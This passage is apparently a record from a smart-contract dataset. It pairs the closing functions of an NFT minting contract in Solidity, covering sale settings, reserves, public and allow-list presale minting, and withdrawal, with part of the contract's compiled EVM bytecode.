function setMaximumAllowedTokens(uint256 _count) public onlyAuthorized {
maximumAllowedTokensPerPurchase = _count;
}
function setActive(bool val) public onlyAuthorized {
isActive = val;
emit SaleActivation(val);
}
function setMaxMintSupply(uint256 maxMintSupply) external onlyAuthorized {
maximumMintSupply = maxMintSupply;
}
function setIsAllowListActive(bool _isAllowListActive) external onlyAuthorized {
isAllowListActive = _isAllowListActive;
}
function setAllowListMaxMint(uint256 maxMint) external onlyAuthorized {
allowListMaxMint = maxMint;
}
function allowListClaimedBy(address owner) external view returns (uint256){
require(owner != address(0), 'Zero address not on Allow List');
return _allowListClaimed[owner];
}
function setReserveAtATime(uint256 val) public onlyAuthorized {
reserveAtATime = val;
}
function setMaxReserve(uint256 val) public onlyAuthorized {
maxReserveCount = val;
}
function setPrice(uint256 _price) public onlyAuthorized {
mintPrice = _price;
}
function setBaseURI(string memory baseURI) public onlyAuthorized {
_baseTokenURI = baseURI;
}
function setSignerAddress(address addr) external onlyAuthorized {
signerAddress = addr;
}
function getMaximumAllowedTokens() public view onlyAuthorized returns (uint256) {
return maximumAllowedTokensPerPurchase;
}
function getPrice() external view returns (uint256) {
return mintPrice;
}
function getReserveAtATime() external view returns (uint256) {
return reserveAtATime;
}
function getTotalSupply() external view returns (uint256) {
return totalSupply();
}
function getContractOwner() public view returns (address) {
return owner();
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function reserveNft() public onlyAuthorized {
require(reservedCount <= maxReserveCount, "Max Reserves taken already!");
uint256 supply = totalSupply();
uint256 i;
for (i = 0; i < reserveAtATime; i++) {
emit AssetMinted(supply + i, msg.sender);
_safeMint(msg.sender, supply + i);
reservedCount++;
}
}
function reserveToCustomWallet(address _walletAddress, uint256 _count) public onlyAuthorized {
for (uint256 i = 0; i < _count; i++) {
emit AssetMinted(totalSupply(), _walletAddress);
_safeMint(_walletAddress, totalSupply());
}
}
function mint(address _to, uint256 _count) public payable saleIsOpen {
if (msg.sender != owner()) {
require(isActive, "Sale is not active currently.");
}
require(totalSupply() + _count <= maximumMintSupply, "Total supply exceeded.");
require(totalSupply() <= maximumMintSupply, "Total supply spent.");
require(
_count <= maximumAllowedTokensPerPurchase,
"Exceeds maximum allowed tokens"
);
require(msg.value >= mintPrice * _count, "Insuffient ETH amount sent.");
for (uint256 i = 0; i < _count; i++) {
emit AssetMinted(totalSupply(), _to);
_safeMint(_to, totalSupply());
}
}
function batchReserveToMultipleAddresses(uint256 _count, address[] calldata addresses) external onlyAuthorized {
uint256 supply = totalSupply();
require(supply + _count <= maximumMintSupply, "Total supply exceeded.");
require(supply <= maximumMintSupply, "Total supply spent.");
for (uint256 i = 0; i < addresses.length; i++) {
require(addresses[i] != address(0), "Can't add a null address");
for(uint256 j = 0; j < _count; j++) {
emit AssetMinted(totalSupply(), addresses[i]);
_safeMint(addresses[i], totalSupply());
}
}
}
function isValidAccessMessage(bytes memory _signature) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked(msg.sender));
return signerAddress == hash.toEthSignedMessageHash().recover(_signature);
}
function preSaleMint(bytes memory _signature, uint256 _count) public payable saleIsOpen {
require(isAllowListActive, 'Allow List is not active');
require(isValidAccessMessage(_signature), "Invalid access message");
require(totalSupply() < maximumMintSupply, 'All tokens have been minted');
require(_count <= allowListMaxMint, 'Cannot purchase this many tokens');
require(_allowListClaimed[msg.sender] + _count <= allowListMaxMint, 'Purchase exceeds max allowed');
require(msg.value >= mintPrice * _count, 'Insuffient ETH amount sent.');
for (uint256 i = 0; i < _count; i++) {
_allowListClaimed[msg.sender] += 1;
emit AssetMinted(totalSupply(), msg.sender);
_safeMint(msg.sender, totalSupply());
}
}
function walletOfOwner(address _owner) external view returns(uint256[] memory) {
uint tokenCount = balanceOf(_owner);
uint256[] memory tokensId = new uint256[](tokenCount);
for(uint i = 0; i < tokenCount; i++){
tokensId[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokensId;
}
function withdraw() external onlyAuthorized {
uint balance = address(this).balance;
payable(owner()).transfer(balance);
}
} | 0x6080604052600436106102925760003560e01c8063715018a61161015a578063a22cb465116100c1578063da7b69b61161007a578063da7b69b6146109de578063e7b62d96146109fa578063e82b2a7114610a25578063e985e9c514610a4e578063f2fde38b14610a8b578063f6c9d9e314610ab457610292565b8063a22cb465146108d0578063acec338a146108f9578063ad06d75814610922578063b88d4fde1461094d578063c4e41b2214610976578063c87b56dd146109a157610292565b80637f44ab2f116101135780637f44ab2f146107d05780638da5cb5b146107fb57806391b7f5ed1461082657806395d89b411461084f57806398d5fdca1461087a5780639a3bf728146108a557610292565b8063715018a6146106fe578063718bc4af1461071557806371e3500c1461073e5780637389fbb71461075557806377b501b91461077e5780637a6685f1146107a757610292565b806340c10f19116101fe5780634f6ccce7116101b75780634f6ccce7146105ca57806355f804b31461060757806356a87caa146106305780636352211e146106595780636817c76c1461069657806370a08231146106c157610292565b806340c10f19146104c957806342842e0e146104e5578063438b63001461050e578063442890d51461054b5780634d0550de146105765780634dfea627146105a157610292565b806318160ddd1161025057806318160ddd146103cb57806322f3e2d4146103f657806323b872dd1461042157806329fc6bae1461044a5780632f745c59146104755780633ccfd60b146104b257610292565b806208ffdd1461029757806301ffc9a7146102d4578063046dc1661461031157806306fdde031461033a578063081812fc14610365578063095ea7b3146103a2575b600080fd5b3480156102a357600080fd5b506102be60048036038101906102b99190613c8e565b610add565b6040516102cb9190613cd4565b60405180910390f35b3480156102e057600080fd5b506102fb60048036038101906102f69190613d47565b610b95565b6040516103089190613d8f565b60405180910390f35b34801561031d57600080fd5b5061033860048036038101906103339190613c8e565b610c0f565b005b34801561034657600080fd5b5061034f610c92565b60405161035c9190613e43565b60405180910390f35b34801561037157600080fd5b5061038c60048036038101906103879190613e91565b610d24565b6040516103999190613ecd565b60405180910390f35b3480156103ae57600080fd5b506103c960048036038101906103c49190613ee8565b610da9565b005b3480156103d757600080fd5b506103e0610ec1565b6040516103ed9190613cd4565b60405180910390f35b34801561040257600080fd5b5061040b610ece565b6040516104189190613d8f565b60405180910390f35b34801561042d57600080fd5b5061044860048036038101906104439190613f28565b610ee1565b005b34801561045657600080fd5b5061045f610f41565b60405161046c9190613d8f565b60405180910390f35b34801561048157600080fd5b5061049c60048036038101906104979190613ee8565b610f54565b6040516104a99190613cd4565b60405180910390f35b3480156104be57600080fd5b506104c7610ff9565b005b6104e360048036038101906104de9190613ee8565b61108e565b005b3480156104f157600080fd5b5061050c60048036038101906105079190613f28565b611310565b005b34801561051a57600080fd5b5061053560048036038101906105309190613c8e565b611330565b6040516105429190614039565b60405180910390f35b34801561055757600080fd5b506105606113de565b60405161056d9190613ecd565b60405180910390f35b34801561058257600080fd5b5061058b6113ed565b6040516105989190613cd4565b60405180910390f35b3480156105ad57600080fd5b506105c860048036038101906105c39190613e91565b6113f3565b005b3480156105d657600080fd5b506105f160048036038101906105ec9190613e91565b61143c565b6040516105fe9190613cd4565b60405180910390f35b34801561061357600080fd5b5061062e60048036038101906106299190614190565b6114ad565b005b34801561063c57600080fd5b5061065760048036038101906106529190613e91565b611506565b005b34801561066557600080fd5b50610680600480360381019061067b9190613e91565b61154f565b60405161068d9190613ecd565b60405180910390f35b3480156106a257600080fd5b506106ab611601565b6040516106b89190613cd4565b60405180910390f35b3480156106cd57600080fd5b506106e860048036038101906106e39190613c8e565b611607565b6040516106f59190613cd4565b60405180910390f35b34801561070a57600080fd5b506107136116bf565b005b34801561072157600080fd5b5061073c60048036038101906107379190614205565b611747565b005b34801561074a57600080fd5b506107536117a3565b005b34801561076157600080fd5b5061077c60048036038101906107779190613e91565b6118ca565b005b34801561078a57600080fd5b506107a560048036038101906107a09190613ee8565b611913565b005b3480156107b357600080fd5b506107ce60048036038101906107c99190613e91565b6119c6565b005b3480156107dc57600080fd5b506107e5611a0f565b6040516107f29190613cd4565b60405180910390f35b34801561080757600080fd5b50610810611a15565b60405161081d9190613ecd565b60405180910390f35b34801561083257600080fd5b5061084d60048036038101906108489190613e91565b611a3f565b005b34801561085b57600080fd5b50610864611a88565b6040516108719190613e43565b60405180910390f35b34801561088657600080fd5b5061088f611b1a565b60405161089c9190613cd4565b60405180910390f35b3480156108b157600080fd5b506108ba611b24565b6040516108c79190613cd4565b60405180910390f35b3480156108dc57600080fd5b506108f760048036038101906108f29190614232565b611b2a565b005b34801561090557600080fd5b50610920600480360381019061091b9190614205565b611cab565b005b34801561092e57600080fd5b50610937611d3e565b6040516109449190613cd4565b60405180910390f35b34801561095957600080fd5b50610974600480360381019061096f9190614313565b611d87565b005b34801561098257600080fd5b5061098b611de9565b6040516109989190613cd4565b60405180910390f35b3480156109ad57600080fd5b506109c860048036038101906109c39190613e91565b611df8565b6040516109d59190613e43565b60405180910390f35b6109f860048036038101906109f39190614396565b611e9f565b005b348015610a0657600080fd5b50610a0f6121bc565b604051610a1c9190613cd4565b60405180910390f35b348015610a3157600080fd5b50610a4c6004803603810190610a479190614452565b6121c6565b005b348015610a5a57600080fd5b50610a756004803603810190610a7091906144b2565b612423565b604051610a829190613d8f565b60405180910390f35b348015610a9757600080fd5b50610ab26004803603810190610aad9190613c8e565b6124b7565b005b348015610ac057600080fd5b50610adb6004803603810190610ad69190613e91565b6125af565b005b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b459061453e565b60405180910390fd5b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610c085750610c07826125f8565b5b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610c2e611a15565b73ffffffffffffffffffffffffffffffffffffffff1614610c4e57600080fd5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060008054610ca19061458d565b80601f0160208091040260200160405190810160405280929190818152602001828054610ccd9061458d565b8015610d1a5780601f10610cef57610100808354040283529160200191610d1a565b820191906000526020600020905b815481529060010190602001808311610cfd57829003601f168201915b5050505050905090565b6000610d2f826126da565b610d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6590614631565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610db48261154f565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1c906146c3565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610e44612746565b73ffffffffffffffffffffffffffffffffffffffff161480610e735750610e7281610e6d612746565b612423565b5b610eb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea990614755565b60405180910390fd5b610ebc838361274e565b505050565b6000600880549050905090565b601160009054906101000a900460ff1681565b610ef2610eec612746565b82612807565b610f31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f28906147e7565b60405180910390fd5b610f3c8383836128e5565b505050565b601160019054906101000a900460ff1681565b6000610f5f83611607565b8210610fa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9790614879565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16611018611a15565b73ffffffffffffffffffffffffffffffffffffffff161461103857600080fd5b6000479050611045611a15565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561108a573d6000803e3d6000fd5b5050565b601254611099610ec1565b11156110da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d1906148e5565b60405180910390fd5b6110e2611a15565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461116457601160009054906101000a900460ff16611163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115a90614951565b60405180910390fd5b5b60125481611170610ec1565b61117a91906149a0565b11156111bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b290614a42565b60405180910390fd5b6012546111c6610ec1565b1115611207576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fe90614aae565b60405180910390fd5b60135481111561124c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124390614b1a565b60405180910390fd5b80600b5461125a9190614b3a565b34101561129c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129390614be0565b60405180910390fd5b60005b8181101561130b577f55f284809f4c5b7377fbe62f2feeb9686e3834dcae5f3ca955140fe6547cd3556112d0610ec1565b846040516112df929190614c00565b60405180910390a16112f8836112f3610ec1565b612b41565b808061130390614c29565b91505061129f565b505050565b61132b83838360405180602001604052806000815250611d87565b505050565b6060600061133d83611607565b905060008167ffffffffffffffff81111561135b5761135a614065565b5b6040519080825280602002602001820160405280156113895781602001602082028036833780820191505090505b50905060005b828110156113d3576113a18582610f54565b8282815181106113b4576113b3614c72565b5b60200260200101818152505080806113cb90614c29565b91505061138f565b508092505050919050565b60006113e8611a15565b905090565b60125481565b3373ffffffffffffffffffffffffffffffffffffffff16611412611a15565b73ffffffffffffffffffffffffffffffffffffffff161461143257600080fd5b8060138190555050565b6000611446610ec1565b8210611487576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147e90614d13565b60405180910390fd5b6008828154811061149b5761149a614c72565b5b90600052602060002001549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166114cc611a15565b73ffffffffffffffffffffffffffffffffffffffff16146114ec57600080fd5b8060109080519060200190611502929190613b79565b5050565b3373ffffffffffffffffffffffffffffffffffffffff16611525611a15565b73ffffffffffffffffffffffffffffffffffffffff161461154557600080fd5b80600e8190555050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ef90614da5565b60405180910390fd5b80915050919050565b600b5481565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611678576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166f90614e37565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6116c7612746565b73ffffffffffffffffffffffffffffffffffffffff166116e5611a15565b73ffffffffffffffffffffffffffffffffffffffff161461173b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173290614ea3565b60405180910390fd5b6117456000612b5f565b565b3373ffffffffffffffffffffffffffffffffffffffff16611766611a15565b73ffffffffffffffffffffffffffffffffffffffff161461178657600080fd5b80601160016101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff166117c2611a15565b73ffffffffffffffffffffffffffffffffffffffff16146117e257600080fd5b600e54600d541115611829576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182090614f0f565b60405180910390fd5b6000611833610ec1565b905060005b600c548110156118c6577f55f284809f4c5b7377fbe62f2feeb9686e3834dcae5f3ca955140fe6547cd355818361186f91906149a0565b3360405161187e929190614c00565b60405180910390a161189b33828461189691906149a0565b612b41565b600d60008154809291906118ae90614c29565b919050555080806118be90614c29565b915050611838565b5050565b3373ffffffffffffffffffffffffffffffffffffffff166118e9611a15565b73ffffffffffffffffffffffffffffffffffffffff161461190957600080fd5b8060128190555050565b3373ffffffffffffffffffffffffffffffffffffffff16611932611a15565b73ffffffffffffffffffffffffffffffffffffffff161461195257600080fd5b60005b818110156119c1577f55f284809f4c5b7377fbe62f2feeb9686e3834dcae5f3ca955140fe6547cd355611986610ec1565b84604051611995929190614c00565b60405180910390a16119ae836119a9610ec1565b612b41565b80806119b990614c29565b915050611955565b505050565b3373ffffffffffffffffffffffffffffffffffffffff166119e5611a15565b73ffffffffffffffffffffffffffffffffffffffff1614611a0557600080fd5b8060148190555050565b60145481565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16611a5e611a15565b73ffffffffffffffffffffffffffffffffffffffff1614611a7e57600080fd5b80600b8190555050565b606060018054611a979061458d565b80601f0160208091040260200160405190810160405280929190818152602001828054611ac39061458d565b8015611b105780601f10611ae557610100808354040283529160200191611b10565b820191906000526020600020905b815481529060010190602001808311611af357829003601f168201915b5050505050905090565b6000600b54905090565b60135481565b611b32612746565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ba0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9790614f7b565b60405180910390fd5b8060056000611bad612746565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611c5a612746565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611c9f9190613d8f565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16611cca611a15565b73ffffffffffffffffffffffffffffffffffffffff1614611cea57600080fd5b80601160006101000a81548160ff0219169083151502179055507f58655b75d3df612fe99ead00dbf0812d415d35078fe06217a94c0818bb13967f81604051611d339190613d8f565b60405180910390a150565b60003373ffffffffffffffffffffffffffffffffffffffff16611d5f611a15565b73ffffffffffffffffffffffffffffffffffffffff1614611d7f57600080fd5b601354905090565b611d98611d92612746565b83612807565b611dd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dce906147e7565b60405180910390fd5b611de384848484612c25565b50505050565b6000611df3610ec1565b905090565b6060611e03826126da565b611e42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e399061500d565b60405180910390fd5b6000611e4c612c81565b90506000815111611e6c5760405180602001604052806000815250611e97565b80611e7684612d13565b604051602001611e87929190615069565b6040516020818303038152906040525b915050919050565b601254611eaa610ec1565b1115611eeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee2906148e5565b60405180910390fd5b601160019054906101000a900460ff16611f3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f31906150d9565b60405180910390fd5b611f4382612e74565b611f82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7990615145565b60405180910390fd5b601254611f8d610ec1565b10611fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc4906151b1565b60405180910390fd5b601454811115612012576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120099061521d565b60405180910390fd5b60145481601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461206091906149a0565b11156120a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209890615289565b60405180910390fd5b80600b546120af9190614b3a565b3410156120f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e890614be0565b60405180910390fd5b60005b818110156121b7576001601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461214c91906149a0565b925050819055507f55f284809f4c5b7377fbe62f2feeb9686e3834dcae5f3ca955140fe6547cd35561217c610ec1565b3360405161218b929190614c00565b60405180910390a16121a43361219f610ec1565b612b41565b80806121af90614c29565b9150506120f4565b505050565b6000600c54905090565b3373ffffffffffffffffffffffffffffffffffffffff166121e5611a15565b73ffffffffffffffffffffffffffffffffffffffff161461220557600080fd5b600061220f610ec1565b9050601254848261222091906149a0565b1115612261576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225890614a42565b60405180910390fd5b6012548111156122a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229d90614aae565b60405180910390fd5b60005b8383905081101561241c57600073ffffffffffffffffffffffffffffffffffffffff168484838181106122df576122de614c72565b5b90506020020160208101906122f49190613c8e565b73ffffffffffffffffffffffffffffffffffffffff16141561234b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612342906152f5565b60405180910390fd5b60005b85811015612408577f55f284809f4c5b7377fbe62f2feeb9686e3834dcae5f3ca955140fe6547cd35561237f610ec1565b86868581811061239257612391614c72565b5b90506020020160208101906123a79190613c8e565b6040516123b5929190614c00565b60405180910390a16123f58585848181106123d3576123d2614c72565b5b90506020020160208101906123e89190613c8e565b6123f0610ec1565b612b41565b808061240090614c29565b91505061234e565b50808061241490614c29565b9150506122a9565b5050505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6124bf612746565b73ffffffffffffffffffffffffffffffffffffffff166124dd611a15565b73ffffffffffffffffffffffffffffffffffffffff1614612533576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252a90614ea3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156125a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161259a90615387565b60405180910390fd5b6125ac81612b5f565b50565b3373ffffffffffffffffffffffffffffffffffffffff166125ce611a15565b73ffffffffffffffffffffffffffffffffffffffff16146125ee57600080fd5b80600c8190555050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806126c357507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806126d357506126d282612f13565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166127c18361154f565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000612812826126da565b612851576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284890615419565b60405180910390fd5b600061285c8361154f565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806128cb57508373ffffffffffffffffffffffffffffffffffffffff166128b384610d24565b73ffffffffffffffffffffffffffffffffffffffff16145b806128dc57506128db8185612423565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166129058261154f565b73ffffffffffffffffffffffffffffffffffffffff161461295b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612952906154ab565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129c29061553d565b60405180910390fd5b6129d6838383612f7d565b6129e160008261274e565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612a31919061555d565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612a8891906149a0565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b612b5b828260405180602001604052806000815250613091565b5050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b612c308484846128e5565b612c3c848484846130ec565b612c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c7290615603565b60405180910390fd5b50505050565b606060108054612c909061458d565b80601f0160208091040260200160405190810160405280929190818152602001828054612cbc9061458d565b8015612d095780601f10612cde57610100808354040283529160200191612d09565b820191906000526020600020905b815481529060010190602001808311612cec57829003601f168201915b5050505050905090565b60606000821415612d5b576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612e6f565b600082905060005b60008214612d8d578080612d7690614c29565b915050600a82612d869190615652565b9150612d63565b60008167ffffffffffffffff811115612da957612da8614065565b5b6040519080825280601f01601f191660200182016040528015612ddb5781602001600182028036833780820191505090505b5090505b60008514612e6857600182612df4919061555d565b9150600a85612e039190615683565b6030612e0f91906149a0565b60f81b818381518110612e2557612e24614c72565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85612e619190615652565b9450612ddf565b8093505050505b919050565b60008033604051602001612e8891906156fc565b604051602081830303815290604052805190602001209050612ebb83612ead83613283565b6132b390919063ffffffff16565b73ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614915050919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b612f888383836132da565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612fcb57612fc6816132df565b61300a565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614613009576130088382613328565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561304d5761304881613495565b61308c565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461308b5761308a8282613566565b5b5b505050565b61309b83836135e5565b6130a860008484846130ec565b6130e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130de90615603565b60405180910390fd5b505050565b600061310d8473ffffffffffffffffffffffffffffffffffffffff166137b3565b15613276578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02613136612746565b8786866040518563ffffffff1660e01b8152600401613158949392919061576c565b602060405180830381600087803b15801561317257600080fd5b505af19250505080156131a357506040513d601f19601f820116820180604052508101906131a091906157cd565b60015b613226573d80600081146131d3576040519150601f19603f3d011682016040523d82523d6000602084013e6131d8565b606091505b5060008151141561321e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161321590615603565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161491505061327b565b600190505b949350505050565b6000816040516020016132969190615871565b604051602081830303815290604052805190602001209050919050565b60008060006132c285856137c6565b915091506132cf81613849565b819250505092915050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b6000600161333584611607565b61333f919061555d565b9050600060076000848152602001908152602001600020549050818114613424576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b600060016008805490506134a9919061555d565b90506000600960008481526020019081526020016000205490506000600883815481106134d9576134d8614c72565b5b9060005260206000200154905080600883815481106134fb576134fa614c72565b5b90600052602060002001819055508160096000838152602001908152602001600020819055506009600085815260200190815260200160002060009055600880548061354a57613549615897565b5b6001900381819060005260206000200160009055905550505050565b600061357183611607565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613655576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161364c90615912565b60405180910390fd5b61365e816126da565b1561369e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136959061597e565b60405180910390fd5b6136aa60008383612f7d565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546136fa91906149a0565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b6000806041835